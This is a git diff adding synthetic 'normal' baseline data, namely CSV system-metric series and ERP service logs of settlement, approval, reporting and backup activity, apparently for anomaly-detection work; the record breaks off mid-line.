+2025-08-29T14:01:30Z,59.25,61.79,49.31,1.69,3.22 +2025-08-29T14:01:35Z,53.49,68.38,34.24,2.58,3.41 +2025-08-29T14:01:40Z,52.86,67.07,45.26,3.24,3.86 +2025-08-29T14:01:45Z,51.21,65.15,40.47,2.6,3.5 +2025-08-29T14:01:50Z,54.43,65.66,41.59,2.67,4.23 +2025-08-29T14:01:55Z,55.15,65.37,43.36,1.53,2.73 +2025-08-29T14:02:00Z,58.76,60.04,36.99,3.54,3.52 +2025-08-29T14:02:05Z,55.97,61.87,36.89,1.89,2.55 +2025-08-29T14:02:10Z,57.42,68.21,41.62,2.26,2.44 +2025-08-29T14:02:15Z,50.67,62.75,34.14,2.45,2.05 +2025-08-29T14:02:20Z,57.56,66.63,44.84,2.39,3.0 +2025-08-29T14:02:25Z,53.3,62.94,37.35,2.79,2.91 +2025-08-29T14:02:30Z,54.92,67.71,39.49,3.55,2.95 +2025-08-29T14:02:35Z,55.13,66.09,39.33,2.78,2.56 +2025-08-29T14:02:40Z,55.87,64.32,39.16,2.49,2.06 +2025-08-29T14:02:45Z,59.49,64.93,37.2,2.63,3.18 +2025-08-29T14:02:50Z,54.32,66.28,36.89,1.86,2.22 +2025-08-29T14:02:55Z,53.73,66.45,36.87,2.9,2.65 +2025-08-29T14:03:00Z,53.91,64.67,46.41,2.21,3.59 +2025-08-29T14:03:05Z,52.39,64.07,37.0,3.16,2.99 +2025-08-29T14:03:10Z,58.02,65.74,40.09,2.57,3.09 +2025-08-29T14:03:15Z,52.29,68.02,46.18,1.9,2.39 +2025-08-29T14:03:20Z,54.65,64.33,37.62,2.45,3.33 +2025-08-29T14:03:25Z,57.73,67.24,37.06,2.52,3.0 +2025-08-29T14:03:30Z,52.46,63.07,35.33,3.2,3.4 +2025-08-29T14:03:35Z,52.3,67.58,36.24,2.74,2.05 +2025-08-29T14:03:40Z,56.99,65.75,40.69,2.53,3.02 +2025-08-29T14:03:45Z,63.45,66.43,35.98,2.95,3.87 +2025-08-29T14:03:50Z,53.72,62.54,43.03,3.33,2.71 +2025-08-29T14:03:55Z,50.35,64.6,49.33,2.22,2.59 +2025-08-29T14:04:00Z,60.93,62.09,39.88,1.52,2.78 +2025-08-29T14:04:05Z,58.87,70.32,37.82,2.95,2.33 +2025-08-29T14:04:10Z,55.34,66.17,40.38,2.69,3.88 +2025-08-29T14:04:15Z,53.62,67.91,40.78,2.75,3.82 +2025-08-29T14:04:20Z,57.65,65.71,34.46,2.53,2.81 +2025-08-29T14:04:25Z,54.31,65.05,43.63,2.42,3.38 +2025-08-29T14:04:30Z,60.49,65.08,46.75,3.45,2.73 +2025-08-29T14:04:35Z,54.59,63.19,39.65,1.78,2.82 +2025-08-29T14:04:40Z,55.31,63.51,40.94,2.04,2.64 +2025-08-29T14:04:45Z,52.06,65.74,36.54,2.43,3.18 +2025-08-29T14:04:50Z,55.32,59.07,33.18,3.36,2.25 +2025-08-29T14:04:55Z,55.12,65.0,44.28,2.68,3.48 +2025-08-29T14:05:00Z,52.87,65.91,37.34,3.03,3.17 +2025-08-29T14:05:05Z,49.88,61.7,47.33,1.29,3.07 +2025-08-29T14:05:10Z,55.51,65.17,38.6,2.13,2.94 +2025-08-29T14:05:15Z,62.49,66.71,44.03,2.43,2.83 +2025-08-29T14:05:20Z,62.72,64.32,36.27,2.6,2.17 +2025-08-29T14:05:25Z,54.73,66.67,40.22,2.57,3.09 +2025-08-29T14:05:30Z,54.1,62.06,31.23,2.34,2.79 +2025-08-29T14:05:35Z,58.08,63.48,31.71,2.29,2.92 +2025-08-29T14:05:40Z,53.79,62.64,34.06,2.49,2.25 +2025-08-29T14:05:45Z,54.83,64.54,35.36,2.35,3.06 +2025-08-29T14:05:50Z,52.2,66.93,52.48,2.6,3.2 +2025-08-29T14:05:55Z,55.19,67.35,46.15,2.76,2.84 +2025-08-29T14:06:00Z,51.07,64.63,51.33,2.24,2.57 +2025-08-29T14:06:05Z,56.6,63.88,39.16,3.16,3.14 +2025-08-29T14:06:10Z,55.66,65.71,35.84,1.72,2.33 +2025-08-29T14:06:15Z,56.61,63.05,37.89,2.37,2.06 +2025-08-29T14:06:20Z,54.92,63.04,41.44,2.23,3.63 +2025-08-29T14:06:25Z,56.56,60.71,43.17,2.73,2.61 +2025-08-29T14:06:30Z,57.82,64.69,41.81,2.63,3.18 +2025-08-29T14:06:35Z,55.01,64.76,35.98,3.23,3.15 +2025-08-29T14:06:40Z,56.29,66.57,41.9,2.04,3.3 +2025-08-29T14:06:45Z,51.71,67.48,33.36,1.93,2.81 +2025-08-29T14:06:50Z,53.05,65.23,36.43,1.86,3.18 +2025-08-29T14:06:55Z,62.3,63.86,42.53,2.22,2.87 +2025-08-29T14:07:00Z,55.66,67.91,44.88,1.8,2.69 +2025-08-29T14:07:05Z,48.67,65.95,41.86,2.26,3.51 +2025-08-29T14:07:10Z,55.09,66.99,38.31,2.53,2.53 +2025-08-29T14:07:15Z,56.54,66.29,48.01,1.65,3.27 +2025-08-29T14:07:20Z,57.92,66.54,34.77,2.21,2.68 +2025-08-29T14:07:25Z,56.62,61.48,39.45,2.33,2.41 diff --git a/norm_dataset/scenario_9/norm_9_28.log b/norm_dataset/scenario_9/norm_9_28.log new file mode 100644 index 0000000000000000000000000000000000000000..72cbf4695da96b27803617b4307e480cb0e2fa06 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_28.log @@ -0,0 +1,187 @@ +Aug 29 14:00:02 erp-api[3880]: GET /api/v2/reports/financials status=200 OK user_id=167 +Aug 29 14:00:00 erp-approver[6655]: INFO Expense report REP-13086 submitted by user 152 is pending '审批'. +Aug 29 14:00:00 erp-approver[2831]: INFO '审批' workflow started for vendor payment batch BAT-126. Initiated by 143. +Aug 29 14:00:06 erp-api[1099]: GET /api/v2/reports/financials status=200 OK user_id=154 +Aug 29 14:00:08 erp-db[1834]: INFO Database lock released for '结算' table. +Aug 29 14:00:09 erp-approver[3947]: INFO '审批' workflow started for vendor payment batch BAT-132. Initiated by 168. +Aug 29 14:00:10 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:00:11 erp-worker[6024]: INFO User 143 initiated financial closing process for department D20. +Aug 29 14:00:14 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:00:17 erp-worker[9948]: INFO User 110 initiated financial closing process for department D11. +Aug 29 14:00:19 erp-api[6931]: GET /api/v2/reports/financials status=200 OK user_id=168 +Aug 29 14:00:20 erp-api[1799]: POST /api/v2/settlement/execute status=202 Accepted user_id=152 +Aug 29 14:00:27 erp-api[7942]: POST /api/v2/settlement/execute status=202 Accepted user_id=176 +Aug 29 14:00:30 erp-api[6984]: GET /api/v2/reports/financials status=200 OK user_id=168 +Aug 29 14:00:34 erp-api[8104]: GET /api/v2/reports/financials status=200 OK user_id=176 +Aug 29 14:00:37 erp-worker[3089]: INFO User 143 initiated financial closing process for department D20. +Aug 29 14:00:36 erp-db[5847]: INFO Executing batch '结算' job. Processing 4179 records. +Aug 29 14:00:41 erp-db[3724]: INFO Database lock released for '结算' table. +Aug 29 14:00:40 erp-db[5582]: INFO Executing batch '结算' job. Processing 555 records. +Aug 29 14:00:45 erp-approver[8250]: INFO '审批' workflow started for vendor payment batch BAT-171. Initiated by 176. +Aug 29 14:00:45 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:00:48 erp-worker[9375]: INFO User 108 successfully downloaded financial '报表' REP-14708. +Aug 29 14:00:53 erp-db[1695]: INFO Executing batch '结算' job. Processing 2076 records. +Aug 29 14:00:52 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:00:51 erp-approver[3047]: INFO '审批' workflow started for vendor payment batch BAT-173. Initiated by 176. +Aug 29 14:00:57 erp-api[6227]: GET /api/v2/reports/financials status=200 OK user_id=110 +Aug 29 14:01:04 erp-api[5254]: GET /api/v2/reports/financials status=200 OK user_id=108 +Aug 29 14:01:01 erp-approver[4665]: INFO '审批' workflow started for vendor payment batch BAT-175. Initiated by 152. +Aug 29 14:01:06 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:01:09 erp-approver[1536]: INFO Expense report REP-13173 submitted by user 110 is pending '审批'. +Aug 29 14:01:12 erp-db[5190]: INFO Executing batch '结算' job. Processing 3523 records. +Aug 29 14:01:16 erp-db[8510]: INFO Executing batch '结算' job. Processing 875 records. +Aug 29 14:01:16 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:01:24 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:01:22 erp-db[8202]: INFO Database lock released for '结算' table. +Aug 29 14:01:20 erp-db[8874]: INFO Database lock acquired for '结算' table. +Aug 29 14:01:26 erp-approver[5943]: INFO '审批' workflow started for vendor payment batch BAT-122. Initiated by 143. +Aug 29 14:01:30 erp-api[4136]: GET /api/v2/reports/financials status=200 OK user_id=110 +Aug 29 14:01:32 erp-db[1309]: INFO Database lock released for '结算' table. +Aug 29 14:01:39 erp-worker[8727]: INFO User 173 initiated financial closing process for department D20. +Aug 29 14:01:40 erp-worker[6362]: INFO Generating quarterly financial '报表' for user 108. Report ID: REP-16326. +Aug 29 14:01:46 erp-db[9385]: INFO Database lock acquired for '结算' table. +Aug 29 14:01:47 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:01:54 erp-approver[7208]: INFO '审批' workflow started for vendor payment batch BAT-129. Initiated by 176. +Aug 29 14:01:51 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:01:54 erp-approver[5487]: INFO Expense report REP-13999 submitted by user 152 is pending '审批'. +Aug 29 14:01:57 erp-approver[3003]: INFO Expense report REP-10215 submitted by user 167 is pending '审批'. +Aug 29 14:01:59 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:01:58 erp-approver[7795]: INFO Expense report REP-11960 submitted by user 180 is pending '审批'. +Aug 29 14:02:01 erp-approver[9712]: INFO '审批' workflow started for vendor payment batch BAT-151. Initiated by 176. +Aug 29 14:02:01 erp-approver[9129]: INFO Expense report REP-18656 submitted by user 167 is pending '审批'. +Aug 29 14:02:03 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:02:05 erp-approver[6105]: INFO '审批' workflow started for vendor payment batch BAT-128. Initiated by 152. +Aug 29 14:02:05 erp-db[8614]: INFO Executing batch '结算' job. Processing 1971 records. +Aug 29 14:02:11 erp-db[5000]: INFO Executing batch '结算' job. Processing 3292 records. +Aug 29 14:02:14 erp-db[1235]: INFO Database lock released for '结算' table. +Aug 29 14:02:14 erp-approver[1346]: INFO Expense report REP-12008 submitted by user 154 is pending '审批'. +Aug 29 14:02:15 erp-worker[3983]: INFO User 152 successfully downloaded financial '报表' REP-16564. +Aug 29 14:02:20 erp-db[6912]: INFO Executing batch '结算' job. Processing 2194 records. +Aug 29 14:02:25 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:02:27 erp-db[9457]: INFO Executing batch '结算' job. Processing 3395 records. +Aug 29 14:02:33 erp-worker[4959]: INFO Generating quarterly financial '报表' for user 168. Report ID: REP-14296. +Aug 29 14:02:34 erp-approver[6292]: INFO Expense report REP-19518 submitted by user 173 is pending '审批'. +Aug 29 14:02:39 erp-approver[4254]: INFO '审批' workflow started for vendor payment batch BAT-183. Initiated by 108. +Aug 29 14:02:38 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:02:40 erp-db[1734]: INFO Database lock acquired for '结算' table. +Aug 29 14:02:42 erp-api[9638]: GET /api/v2/reports/financials status=200 OK user_id=180 +Aug 29 14:02:42 erp-db[7977]: INFO Executing batch '结算' job. Processing 1964 records. +Aug 29 14:02:48 erp-db[3399]: INFO Executing batch '结算' job. Processing 3776 records. +Aug 29 14:02:46 erp-api[2400]: POST /api/v2/settlement/execute status=202 Accepted user_id=110 +Aug 29 14:02:54 erp-approver[8385]: INFO '审批' workflow started for vendor payment batch BAT-130. Initiated by 176. +Aug 29 14:02:50 erp-db[6330]: INFO Executing batch '结算' job. Processing 1076 records. +Aug 29 14:02:52 erp-approver[7230]: INFO Expense report REP-14459 submitted by user 110 is pending '审批'. +Aug 29 14:02:56 erp-worker[5160]: INFO User 180 successfully downloaded financial '报表' REP-13019. +Aug 29 14:02:56 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:03:00 erp-db[3942]: INFO Database lock released for '结算' table. +Aug 29 14:03:00 erp-api[5626]: POST /api/v2/settlement/execute status=202 Accepted user_id=108 +Aug 29 14:03:04 erp-approver[2664]: INFO Expense report REP-17143 submitted by user 152 is pending '审批'. +Aug 29 14:03:07 erp-db[9412]: INFO Database lock released for '结算' table. +Aug 29 14:03:12 erp-approver[8695]: INFO '审批' workflow started for vendor payment batch BAT-115. Initiated by 110. +Aug 29 14:03:11 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:03:14 erp-api[8461]: GET /api/v2/reports/financials status=200 OK user_id=176 +Aug 29 14:03:17 erp-worker[5054]: INFO User 168 successfully downloaded financial '报表' REP-16804. +Aug 29 14:03:22 erp-worker[1020]: INFO User 143 initiated financial closing process for department D11. +Aug 29 14:03:28 erp-worker[7612]: INFO Generating quarterly financial '报表' for user 110. Report ID: REP-12341. +Aug 29 14:03:31 erp-api[7088]: POST /api/v2/settlement/execute status=202 Accepted user_id=143 +Aug 29 14:03:35 erp-approver[3362]: INFO Expense report REP-19558 submitted by user 108 is pending '审批'. +Aug 29 14:03:35 erp-worker[8556]: INFO User 176 initiated financial closing process for department D11. +Aug 29 14:03:41 erp-db[3428]: INFO Database lock released for '结算' table. +Aug 29 14:03:45 erp-api[1396]: GET /api/v2/reports/financials status=200 OK user_id=168 +Aug 29 14:03:53 erp-api[8986]: GET /api/v2/reports/financials status=200 OK user_id=110 +Aug 29 14:03:50 erp-worker[8456]: INFO User 110 successfully downloaded financial '报表' REP-10371. +Aug 29 14:03:50 erp-approver[8929]: INFO '审批' workflow started for vendor payment batch BAT-116. Initiated by 173. +Aug 29 14:03:56 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:03:55 erp-approver[3543]: INFO Expense report REP-17739 submitted by user 143 is pending '审批'. +Aug 29 14:03:59 erp-api[5369]: POST /api/v2/settlement/execute status=202 Accepted user_id=152 +Aug 29 14:04:02 erp-worker[4664]: INFO Generating quarterly financial '报表' for user 110. Report ID: REP-17680. +Aug 29 14:04:02 erp-api[8360]: GET /api/v2/reports/financials status=200 OK user_id=167 +Aug 29 14:04:06 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:04:10 erp-db[7151]: INFO Executing batch '结算' job. Processing 1828 records. +Aug 29 14:04:15 erp-worker[6648]: INFO User 173 initiated financial closing process for department D11. +Aug 29 14:04:16 erp-approver[7778]: INFO '审批' workflow started for vendor payment batch BAT-167. Initiated by 154. +Aug 29 14:04:24 erp-approver[4851]: INFO '审批' workflow started for vendor payment batch BAT-179. Initiated by 108. +Aug 29 14:04:20 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:04:24 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:04:28 erp-worker[4696]: INFO Generating quarterly financial '报表' for user 143. Report ID: REP-10316. +Aug 29 14:04:26 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:04:28 erp-worker[3481]: INFO Generating quarterly financial '报表' for user 108. Report ID: REP-14794. +Aug 29 14:04:33 erp-api[5264]: GET /api/v2/reports/financials status=200 OK user_id=180 +Aug 29 14:04:30 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:04:31 erp-db[7303]: INFO Executing batch '结算' job. Processing 4356 records. +Aug 29 14:04:38 erp-api[2476]: GET /api/v2/reports/financials status=200 OK user_id=154 +Aug 29 14:04:38 erp-worker[9447]: INFO Generating quarterly financial '报表' for user 167. Report ID: REP-15528. +Aug 29 14:04:38 erp-api[2041]: GET /api/v2/reports/financials status=200 OK user_id=173 +Aug 29 14:04:42 erp-worker[6687]: INFO User 152 successfully downloaded financial '报表' REP-16436. +Aug 29 14:04:43 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:04:49 erp-worker[6459]: INFO User 168 initiated financial closing process for department D20. +Aug 29 14:04:49 erp-db[3426]: INFO Database lock acquired for '结算' table. +Aug 29 14:04:51 erp-api[9582]: POST /api/v2/settlement/execute status=202 Accepted user_id=108 +Aug 29 14:04:50 erp-db[2484]: INFO Database lock acquired for '结算' table. +Aug 29 14:04:51 erp-worker[1831]: INFO Generating quarterly financial '报表' for user 154. Report ID: REP-12657. +Aug 29 14:04:56 erp-worker[5414]: INFO User 152 successfully downloaded financial '报表' REP-15322. +Aug 29 14:05:03 erp-api[8778]: POST /api/v2/settlement/execute status=202 Accepted user_id=152 +Aug 29 14:05:01 erp-api[6645]: GET /api/v2/reports/financials status=200 OK user_id=154 +Aug 29 14:05:01 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:05:05 erp-worker[2201]: INFO User 110 successfully downloaded financial '报表' REP-15774. +Aug 29 14:05:09 erp-worker[9804]: INFO User 173 initiated financial closing process for department D20. +Aug 29 14:05:06 erp-approver[8888]: INFO '审批' workflow started for vendor payment batch BAT-151. Initiated by 180. +Aug 29 14:05:14 erp-db[6926]: INFO Executing batch '结算' job. Processing 4154 records. +Aug 29 14:05:13 erp-approver[7041]: INFO Expense report REP-19101 submitted by user 110 is pending '审批'. +Aug 29 14:05:14 erp-approver[1690]: INFO Expense report REP-19367 submitted by user 110 is pending '审批'. +Aug 29 14:05:19 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:05:23 erp-worker[7696]: INFO User 152 initiated financial closing process for department D17. +Aug 29 14:05:25 erp-approver[7367]: INFO Expense report REP-16726 submitted by user 167 is pending '审批'. +Aug 29 14:05:33 erp-api[1368]: POST /api/v2/settlement/execute status=202 Accepted user_id=176 +Aug 29 14:05:33 erp-api[7155]: GET /api/v2/reports/financials status=200 OK user_id=173 +Aug 29 14:05:38 erp-worker[1990]: INFO User 180 successfully downloaded financial '报表' REP-15631. +Aug 29 14:05:38 erp-worker[3494]: INFO User 108 successfully downloaded financial '报表' REP-15148. +Aug 29 14:05:35 erp-worker[6654]: INFO User 173 initiated financial closing process for department D11. +Aug 29 14:05:43 erp-worker[6360]: INFO Generating quarterly financial '报表' for user 108. Report ID: REP-19633. +Aug 29 14:05:42 erp-api[2358]: POST /api/v2/settlement/execute status=202 Accepted user_id=180 +Aug 29 14:05:44 erp-api[9073]: POST /api/v2/settlement/execute status=202 Accepted user_id=176 +Aug 29 14:05:49 erp-worker[6779]: INFO User 167 successfully downloaded financial '报表' REP-19339. +Aug 29 14:05:48 erp-worker[1080]: INFO Generating quarterly financial '报表' for user 152. Report ID: REP-10690. +Aug 29 14:05:51 erp-api[4642]: POST /api/v2/settlement/execute status=202 Accepted user_id=108 +Aug 29 14:05:54 erp-db[4857]: INFO Database lock acquired for '结算' table. +Aug 29 14:05:56 erp-approver[9922]: INFO Expense report REP-18502 submitted by user 154 is pending '审批'. +Aug 29 14:06:04 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:06:01 erp-api[1931]: GET /api/v2/reports/financials status=200 OK user_id=168 +Aug 29 14:06:04 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:06:06 erp-approver[3223]: INFO Expense report REP-16464 submitted by user 154 is pending '审批'. +Aug 29 14:06:06 erp-approver[2442]: INFO '审批' workflow started for vendor payment batch BAT-151. Initiated by 176. +Aug 29 14:06:07 erp-worker[2484]: INFO Generating quarterly financial '报表' for user 154. Report ID: REP-15624. +Aug 29 14:06:13 erp-db[5098]: INFO Database lock acquired for '结算' table. +Aug 29 14:06:15 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:06:16 erp-db[9138]: INFO Database lock acquired for '结算' table. +Aug 29 14:06:19 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:06:21 erp-approver[8944]: INFO Expense report REP-10143 submitted by user 168 is pending '审批'. +Aug 29 14:06:23 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:06:20 erp-db[9727]: INFO Executing batch '结算' job. Processing 2166 records. +Aug 29 14:06:28 erp-worker[7053]: INFO Generating quarterly financial '报表' for user 152. Report ID: REP-11326. +Aug 29 14:06:30 erp-db[5404]: INFO Database lock released for '结算' table. +Aug 29 14:06:30 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:06:34 erp-approver[1304]: INFO Expense report REP-19628 submitted by user 110 is pending '审批'. +Aug 29 14:06:35 erp-worker[3404]: INFO User 108 initiated financial closing process for department D11. +Aug 29 14:06:38 erp-api[5331]: POST /api/v2/settlement/execute status=202 Accepted user_id=173 +Aug 29 14:06:43 erp-db[2962]: INFO Database lock acquired for '结算' table. +Aug 29 14:06:42 erp-worker[4630]: INFO User 180 successfully downloaded financial '报表' REP-10473. +Aug 29 14:06:43 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:06:47 erp-worker[9820]: INFO User 167 successfully downloaded financial '报表' REP-18791. +Aug 29 14:06:54 erp-api[7937]: GET /api/v2/reports/financials status=200 OK user_id=108 +Aug 29 14:06:50 erp-worker[5850]: INFO User 180 initiated financial closing process for department D17. +Aug 29 14:06:55 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:06:59 erp-api[6486]: POST /api/v2/settlement/execute status=202 Accepted user_id=168 +Aug 29 14:06:56 erp-worker[3724]: INFO User 154 successfully downloaded financial '报表' REP-14648. +Aug 29 14:07:01 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:07:00 erp-approver[5654]: INFO Expense report REP-12033 submitted by user 108 is pending '审批'. +Aug 29 14:07:06 erp-db[9699]: INFO Database lock acquired for '结算' table. +Aug 29 14:07:08 erp-approver[2635]: INFO Expense report REP-15529 submitted by user 143 is pending '审批'. +Aug 29 14:07:08 erp-db[9230]: INFO Database lock acquired for '结算' table. +Aug 29 14:07:13 erp-worker[4985]: INFO Generating quarterly financial '报表' for user 167. Report ID: REP-15096. +Aug 29 14:07:11 systemd[1]: INFO Starting periodic data backup service... +Aug 29 14:07:18 erp-db[4740]: INFO Executing batch '结算' job. Processing 2304 records. +Aug 29 14:07:22 erp-worker[6321]: INFO User 173 initiated financial closing process for department D11. +Aug 29 14:07:28 erp-api[6630]: POST /api/v2/settlement/execute status=202 Accepted user_id=176 +Aug 29 14:07:28 systemd[1]: INFO Periodic data backup service finished successfully. +Aug 29 14:07:26 erp-api[2990]: GET /api/v2/reports/financials status=200 OK user_id=143 diff --git a/norm_dataset/scenario_9/norm_9_29.csv b/norm_dataset/scenario_9/norm_9_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..c0f9401a422c97aeb74d5ced9619fed6aaec619d --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-29T09:30:00Z,61.1,58.18,45.83,2.77,2.52 +2025-07-29T09:30:05Z,52.08,65.33,56.69,2.34,3.31 +2025-07-29T09:30:10Z,44.27,61.32,38.18,2.7,3.95 +2025-07-29T09:30:15Z,57.95,66.94,27.06,2.24,3.07 +2025-07-29T09:30:20Z,56.64,66.64,36.84,2.48,2.77 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+2025-07-29T09:32:05Z,56.62,59.99,35.03,1.89,2.46 +2025-07-29T09:32:10Z,59.03,70.13,42.59,2.26,2.33 +2025-07-29T09:32:15Z,47.78,61.39,30.63,2.45,1.86 +2025-07-29T09:32:20Z,59.27,67.6,47.74,2.39,2.99 +2025-07-29T09:32:25Z,52.17,61.71,35.75,2.79,2.89 +2025-07-29T09:32:30Z,54.87,69.33,39.19,3.55,2.94 +2025-07-29T09:32:35Z,55.21,66.75,38.92,2.78,2.47 +2025-07-29T09:32:40Z,56.44,63.9,38.66,2.49,1.88 +2025-07-29T09:32:45Z,62.48,64.89,35.52,2.63,3.22 +2025-07-29T09:32:50Z,53.87,67.04,35.02,1.86,2.06 +2025-07-29T09:32:55Z,52.89,67.32,34.99,2.9,2.58 +2025-07-29T09:33:00Z,53.18,64.47,50.25,2.21,3.7 +2025-07-29T09:33:05Z,50.65,63.52,35.2,3.16,2.99 +2025-07-29T09:33:10Z,60.03,66.18,40.15,2.57,3.11 +2025-07-29T09:33:15Z,50.48,69.84,49.88,1.9,2.27 +2025-07-29T09:33:20Z,54.41,63.94,36.19,2.45,3.4 +2025-07-29T09:33:25Z,59.55,68.59,35.29,2.52,3.01 +2025-07-29T09:33:30Z,50.77,61.91,32.52,3.2,3.48 +2025-07-29T09:33:35Z,50.49,69.12,33.98,2.74,1.86 +2025-07-29T09:33:40Z,58.31,66.21,41.1,2.53,3.03 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+2025-07-29T09:37:05Z,44.45,66.52,42.97,2.26,3.61 +2025-07-29T09:37:10Z,55.16,68.18,37.29,2.53,2.44 +2025-07-29T09:37:15Z,57.56,67.07,52.81,1.65,3.32 +2025-07-29T09:37:20Z,59.87,67.47,31.64,2.21,2.62 +2025-07-29T09:37:25Z,57.7,59.37,39.12,2.33,2.29 diff --git a/norm_dataset/scenario_9/norm_9_29.log b/norm_dataset/scenario_9/norm_9_29.log new file mode 100644 index 0000000000000000000000000000000000000000..49234cdb5a7077922a700b049134af4ef93bd247 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_29.log @@ -0,0 +1,90 @@ +Jul 29 09:30:00 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' successfully generated and exported to PDF. +Jul 29 09:30:05 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' generation started for company_id=C5890. requested_by=user_id=101 +Jul 29 09:30:10 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=61ms, user_id=315 +Jul 29 09:30:15 erp-prod-worker-3 auth-service[987]: INFO User user_id=422 successfully logged in from ip=192.168.216.216 +Jul 29 09:30:20 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Monthly_Financial_Statement' successfully generated and exported to PDF. +Jul 29 09:30:25 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' generation started for company_id=C2034. requested_by=user_id=315 +Jul 29 09:30:30 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=205 initiated a month-end settlement process. transaction_id=txn_84379 +Jul 29 09:30:35 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=422 initiated a month-end settlement process. transaction_id=txn_49552 +Jul 29 09:30:40 erp-prod-worker-3 systemd[1]: Starting daily session cleanup job... +Jul 29 09:30:45 erp-prod-worker-3 auth-service[987]: INFO User user_id=422 successfully logged in from ip=192.168.74.74 +Jul 29 09:30:50 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=101 +Jul 29 09:30:55 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' successfully generated and exported to PDF. +Jul 29 09:31:00 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=12 +Jul 29 09:31:05 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=251ms, user_id=315 +Jul 29 09:31:10 erp-prod-worker-3 auth-service[987]: INFO User user_id=101 successfully logged in from ip=192.168.3.3 +Jul 29 09:31:15 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Monthly_Financial_Statement' successfully generated and exported to PDF. +Jul 29 09:31:20 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=538 +Jul 29 09:31:25 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=96ms, user_id=538 +Jul 29 09:31:30 erp-prod-worker-3 auth-service[987]: INFO User user_id=538 successfully logged in from ip=192.168.8.8 +Jul 29 09:31:35 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=422 initiated a month-end settlement process. transaction_id=txn_35917 +Jul 29 09:31:40 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=315 initiated a month-end settlement process. transaction_id=txn_42841 +Jul 29 09:31:45 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=64ms, user_id=538 +Jul 29 09:31:50 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=225ms, user_id=101 +Jul 29 09:31:55 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=538 initiated a month-end settlement process. transaction_id=txn_68892 +Jul 29 09:32:00 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Monthly_Financial_Statement' generation started for company_id=C5890. requested_by=user_id=315 +Jul 29 09:32:05 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' generation started for company_id=C5890. requested_by=user_id=101 +Jul 29 09:32:10 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' successfully generated and exported to PDF. +Jul 29 09:32:15 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=12 +Jul 29 09:32:20 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=205 +Jul 29 09:32:25 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=101 initiated a month-end settlement process. transaction_id=txn_51314 +Jul 29 09:32:30 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' generation started for company_id=C5890. requested_by=user_id=538 +Jul 29 09:32:35 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=112ms, user_id=315 +Jul 29 09:32:40 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=205 initiated a month-end settlement process. transaction_id=txn_33313 +Jul 29 09:32:45 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=458ms, user_id=422 +Jul 29 09:32:50 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=101 initiated a month-end settlement process. transaction_id=txn_45127 +Jul 29 09:32:55 erp-prod-worker-3 